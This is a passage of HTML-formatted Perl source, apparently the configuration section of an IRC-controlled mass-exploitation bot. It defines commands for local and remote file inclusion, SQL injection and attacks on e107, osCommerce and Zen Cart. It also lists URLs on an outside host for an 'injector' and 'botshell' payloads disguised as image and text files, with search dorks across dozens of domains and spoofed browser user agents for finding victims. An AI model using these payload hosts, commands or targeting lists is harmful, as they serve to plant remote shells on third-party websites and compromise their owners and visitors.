0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 33: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $oscologo  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11oSCo15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 34: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $zenlogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11ZEN15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 35: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $oplogo    = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11OPEN15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 36: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $admlogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11PHP15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 37: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $smslogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11SMS15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 38: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ossqllogo   = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11OSCO-SQL15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 39: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $e107logosql = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@11E107-SQL15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 40: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 41: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $lficmd    = &#39;!lfi&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 42: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $rficmd    = &#39;!rfi&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 43: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $e107cmd   = &#39;!e107&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 44: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $xmlcmd    = &#39;!xml&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 45: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $sqlcmd    = &#39;!mysql&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 46: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $oscocmd   = &#39;!osco&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 47: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $zencmd    = &#39;!zen&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 48: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $admcmd    = &#39;!adm&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 49: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $opcmd     = &#39;!op&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 50: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $ossqlcmd  = &#39;!oscmd&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 51: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $esqlcmd   = &#39;!sqle&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 52: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $Cyblfi   = &#39;!lfi2&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 53: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 54: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmdlfi    = &#39;!cmdlfi&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 55: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmde107   = &#39;!cmde107&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 56: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmdxml    = &#39;!cmdxml&#39;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 57: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 58: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $injector  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://call-outsource.ru/logs/crew.jpg&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 59: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $botshell  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://call-outsource.ru/logs/daster.jpg&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 60: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $botshell2  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://call-outsource.ru/logs/topi.jpg&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 61: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $botshell3  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://call-outsource.ru/logs/j1.txt&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 62: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $botshell4  = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://call-outsource.ru/logs/j2.txt&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 63: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cocok      = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;http://call-outsource.ru/logs/cocok.txt&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 64: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; @domen     = (&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.org&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.net&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.com&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.au&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.bg&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.il&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ir&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.br&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.be&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.biz&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ca&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.cz&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.de&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.fr&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.fi&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.uk&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ru&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.jp&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.nl&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.es&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.sg&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.tv&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.my&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.pt&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.za&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.co&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.cc&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 65:                  &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.it&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.hu&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.mx&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.info&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.pl&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.vn&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.us&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ua&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.eu&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ch&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.gr&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ro&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.ar&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.pd&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.lt&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.pr&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;site:.kr&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,27&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,37&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,47&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,57&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,67&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,87&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,97&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,107&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Itemid,117&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 66: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 67: &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; @uagents   = (&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 68:                  &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 69:                  &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 70:            &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Seamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 71:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 72:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 73:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 74:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 75:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 76:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 77:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 78:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 79:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 80:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 81:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 82:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 83:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 84:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 7.0b; Win32)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 85:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 86:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Microsoft Pocket Internet Explorer/0.6&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 87:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 88:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 89:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 90:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 91:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 92:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Advanced Browser (http://www.avantbrowser.com)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 93:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Avant Browser (http://www.avantbrowser.com)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 94:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt; 95:     &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)&lt;/span&gt;&amp;quot;,&lt;br /&gt;&lt;/pre&gt;&lt;pre 